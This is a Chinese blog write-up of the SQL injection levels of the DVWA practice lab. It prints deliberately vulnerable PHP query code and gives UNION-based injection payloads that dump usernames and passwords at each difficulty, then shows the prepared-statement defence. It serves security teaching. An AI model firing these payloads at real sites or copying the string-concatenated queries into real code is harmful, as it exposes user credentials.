赞
踩
往期博文:
DVWA靶场-Brute Force Source 暴力破解
靶场环境搭建
目录
- <?php
-
- if( isset( $_REQUEST[ 'Submit' ] ) ) {
-
- $id = $_REQUEST[ 'id' ];
-
- // 查询数据库
-
- $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
-
- }
-
- ?>
单引号闭合,没有进行任何过滤,直接联合查询走一波
?id=-1' union select 1,(select+group_concat(user,':',password)+from+users)--+&Submit=Submit#
- <?php
-
- $id = $_POST[ 'id' ];
-
- $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
-
- ?>
这里和low级别的区别在于有原来的get 方式提交变成了post 方式,且由原来的单引号闭合变为了直接拼接sql 语句
id=1 union select 1,(select+group_concat(user,password) from users)&Submit=Submit#
- <?php
-
- $id = $_SESSION[ 'id' ];
-
- $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
-
- ?>
high 级别使用了session 获取id 值,闭合方式单引号闭合
直接在跳转的输入框内输入:
-1' union select 1,(select+group_concat(user,password) from users)#
- <?php
-
- // Check Anti-CSRF token
-
- checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
-
- // 检查是否是数字或字母
-
- if(is_numeric( $id )) {
-
- // 预编译
-
- $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
-
- $data->bindParam( ':id', $id, PDO::PARAM_INT );
-
- $data->execute();
-
- $row = $data->fetch();
-
- }
-
- // Generate Anti-CSRF token
-
- generateSessionToken();
-
- ?>

可以看到,Impossible级别 首先使用了Anti-CSRF token机制,提高了其安全性。其次采用了预编译语句和PDO技术,有效防御SQL注入。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。